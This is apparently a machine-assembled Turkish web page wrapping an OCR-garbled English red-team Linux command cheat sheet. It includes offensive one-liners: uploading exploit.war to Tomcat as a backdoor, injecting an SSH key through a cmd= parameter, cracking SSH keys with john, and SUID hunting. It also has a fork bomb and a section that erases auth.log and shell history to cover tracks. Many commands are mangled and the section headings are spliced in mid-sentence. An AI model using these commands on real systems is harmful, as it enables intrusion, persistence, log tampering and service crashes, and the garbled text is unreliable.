Red Team Guides başlıklı teknik kaynağın içeriği, sızma testi & kırmızı takım alanında pratik bilgiler sunmaktadır. Aşağıda belgeden hareketle hazırlanan teknik inceleme yer almaktadır.
Genel Bakış
WWW.HADESS.IOHADESS Linux Network commands Command Explanation watch ss -tp Network communication netstat -ant tcp or udp communication -anu=udp netstat -tulpn Communication with PIDs lsof -i Established communication smb:// ip /share smb shared environment access share user x.x.x.x c$ Mount the shared Windows environment smbclient -0 user\ ip \ share Connect to SMB ifconfig eth# ip I cidr Set IP and netmask ifconfig eth01 ip I cidr Virtual interface setting route add default gw gw lp Set GW ifconfig eth# mtu [size] Change the MTU size export MAC=xx: XX: XX: XX: XX: XX Change the MAC ifconfig int hw ether MAC Change the MAC macchanger -m MAC int Change Mac in Backtrack iwlist int scan Wi-Fi scanner nc -lvvp port Listening to a specific port python3 -m http.server port Create a web server dig -x ip Identifying the domains of an ip host ip Identifying the domains of an ip host -t SRV _ service tcp.url.com Identification of domain SRV dig @ ip domain -t AXrR Identify DNS Zone Xfer Command Explanation host -1 domain namesvr Identify DNS Zone Xfer ip xfrm state list Show available VPN ip addr add ip I cidr aev ethO Add 'hidden' interface /var/log/messages I grep DHCP DHCP list tcpkill host ip and port port Blocking ip:port echo "1" /proc/sys/net/ipv4/ip forward Enable IP Forwarding echo ''nameserver x.x.x.x'' /etc7resolv.conf Add DNS server showmount -e ip Show mounted points mkdir /site_backups; mount -t nfs ip:/ /site_backup mount route shared by ip system information Command Explanation nbstate -A -ip Get hostname for ip id Current username w Logged in user who -a User information last -a The last logged in user ps -ef Available system processes (or use top) df -h The amount of disk usage (or using free) uname -a Show the kernel version along with the processor structure mount Mount the file system getent passwd Display the list of users PATH~$PATH:/home/mypath Add variable to PATH Command Explanation kill pid Kill process with pid cat /etc/issue Display operating system information cat /etc/'release' Display operating system version information cat /proc/version Display kernel version information rpm --query -all Installed packages (in Redhat) rpm -ivh ' .rpm Installing rpm packages (to remove -e=remove) dpkg -get-selections Installed packages (in Ubuntu) dpkg -I '.deb Install DEB packages (to remove - r=remove) pkginfo Installed packages (on Solaris) which tscsh/csh/ksh/bash Display the paths of executable files chmod -so tcsh/csh/ksh Disabling shell and also forcing to use bash find / -perm -4000 -type f -exec ls -la {} 2>/dev/null ; Finding files with suid find / -uid 0 -perm -4000 -type f 2>/dev/null Finding files with suid find / -writable ! -user whoami -type f ! -path "/proc/" ! - path "/sys/" -exec ls -al {} ; 2>/dev/null Show writable files Functional commands Command Explanation python -c "import pty;pty.spawn('/bin/bash')" Shell interactive wget http:// url -0 url.txt -o /dev/null Get the address rdesktop ip Access to desktop ip Command Explanation scp /tmp/file user@x.x.x.x:/tmp/file Send file scp user@ remoteip :/tmp/file /tmp/file Get the file useradd -m user added by the user passwd user Change user password rmuser unarne Delete user script -a outfile Loose recording: Ctrl-D to stop apropos subject Related commands History History of user commands ! num Executive lines in history ssh2john.py id_rsa > ssh-key Find the passphrase john ssh-key Find the passphrase ssh -i id_rsa user@ip Connect with key and passphrase id -u Get user id cut -d: -f3 < <(getent group GROUPNAME) Get group id curl -G 'http://example.com/file.php' --data-urlencode 'cmd=echo ssh-rsa AA...........' Sending information with the get method in curl curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file exploit.war "http://megahosting.com:8080/ma nager/text/deploy?path=/exploit.war" Create backdoor with lfi vulnerability in java File commands collection of lines Command Description diff file file2 Compare two files Command Description rm -rf dir Forced deletion of folders nested shred -f -u file Rewrite or delete the file touch -r ref file Adapting timestamp related to ref_file touch -t YYYYMMDDHHSS file set file timestamp sudo fdisk -1 List of connected drivers mount /dev/sda# /mnt/usbkey Mounting usb devices md5sum -t file md5 crisp accounting echo -n "str" | md5sum Generate md5 hash shalsum file The SHAl hash of the file sort -u Relating and displaying unique lines grep -c ''str'' file grep -Hnri word * | vim - Search for the desired word in files along with the file name grep -rial word Files containing the desired word tar cf file.tar files Create .tar from files tar xf file.tar Extract .tar tar czf file.tar.gz files Create .tar.gz tar xzf file.tar.gz Extract .tar.gz tar cjf file.tar.bz2 files Create .tar.bz2 tar xjf file.tar.bz2 Extract .tar.bz2 gzip file Compress and rename the file gzip -d file....
Temel Kavramlar
gz Not compressing file.gz upx -9 -o out.exe orig.exe Get UPX packs related to orig.exe zip -r zipname.zip \Directory\' Create zip dd skip=lOOO count=2000 bs=S if=file of=file Separate 1 to 3 KB from the file Command Description split -b 9K file prefix Separation of 9 KB sections from the file awk 'sub("$"."\r")' unix.txt win.txt Windows compatible txt file find -i -name file -type '.pdf Search for PDF files find I -perm -4000 -o -perm -2000 -exec ls - ldb {} \; Search setuid files dos2unix file Switch to *nix format file file Determine the file type and format chattr (+/-)i file setting or not setting the immutable bit while [ $? -eq 0 ]; do cd flag/; done Enter infinite nested folder Miscellaneous commands Command Explanation unset HISTFILE Disable reports in history ssh user@ ip arecord - I aplay - Remote microphone recording gcc -o outfile myfile.c Compile C, C++ init 6 Restart (0 = shutdown) cat /etc/ 1 syslog 1 .conf 1 grep -v ''"#'' list of report files grep 'href=' file 1 cut -d"/" -f3 I grep url \ sort -u Separation of links url.com dd if=/dev/urandom of= file bs=3145728 count=100 Create a 3 MB file Controller commands Command Explanation echo "" /var/log/auth.log Delete the auth.log file echo '''' -/.bash history Delete the session history of the current user rm -/.bash history/ -rf Delete the file .bash_history history -c Delete the session history of the current user export HISTFILESIZE=0 Setting the maximum lines of the history file to zero export HISTSIZE=0 Setting the maximum number of commands in the history file to zero unset HISTFILE delete history (need to log in again to apply) kill -9 $$ Delete the current meeting ln /dev/null -/.bash_historj - sf Permanently send all history commands to /dev/null File system structure Position Explanation /bin System binary files /boot Files related to the boot process /dev Interfaces related to system devices /etc System configuration files /home A basic place for users and libraries /opt Essential software libraries /proc Executive and systemic processes /root The base path for the root user /sbin executable files of the root user /tmp Temporary files /usr Not very necessary files /var System variables file Files File Explanation /etc/shadow Hash of local users /etc/passwd Local users /etc/group Local groups /etc/rc.d Startup services /etc/init.d Services /etc/hosts List of hostnames and IPs /etc/HOSTNAME Show hostname along with domain /etc/network/interfaces Network communication /etc/profile System environment variables /etc/apt/sources.list list of ubuntu distribution sources /etc/resolv.conf namserver settings /horne/ user /.bash history bash history (also in /root/) /usr/share/wireshark/manuf MAC Manufacturer -/.ssh/ Location of ssh keystores /var/log System reports file (for Linux) /var/adrn System reports file (for Unix) /var/spool/cron List of files in cron /var/log/apache/access.log Apache communication reports /etc/fstab Fixed system information file Using powershell Installation sudo apt install gss-ntlmssp sudo apt-get install powershell Login using username and password pwsh $offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Cre Enter-PSSession $offsec_session Create symlink New-Item -ItemType Junction -Path 'C:\ProgramData' -Target 'C:\Users\Administrator' Script writing Create Ping sweep for x in {1 .....
Teknik Uygulama
l};do ping -c 1 1.1.1.$x lgrep "64 b" lcut -d" "-f4 ips.txt; done Automating the domain name resolve process in the bash script #!/bin/bash echo "Enter Class C Range: i.e....
Örnek Senaryo
192.168.3" read range for ip in {1 .....
Dikkat Edilmesi Gerekenler
l}; do host $range.$ip lgrep " name pointer " lcut -d" done Creating a Fork bomb (Creating a process to crash the system) : (){:|: & };: dns reverse lookup process for ip in {1 .....
Özet
1}; do dig -x 1.1.1.$ip | grep $ip dns.txt; done Do not block Ip script #!/bin/sh # This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2 # It assumes 1 is the router and does not ban IPs .20, .21, .22 i=2 while $i -le 253 l do if [ $i -ne 20 -a $i -ne 21 -a $i -ne 22 ]; then echo "BANNED: arp -s 192.168.1.$i" arp -s 192.168...
Bu makale "Red Team Guides" kaynağından üretilmiştir. Tam metin ve orijinal doküman /root/pdf klasöründe mevcuttur. İçerik eğitim amaçlıdır.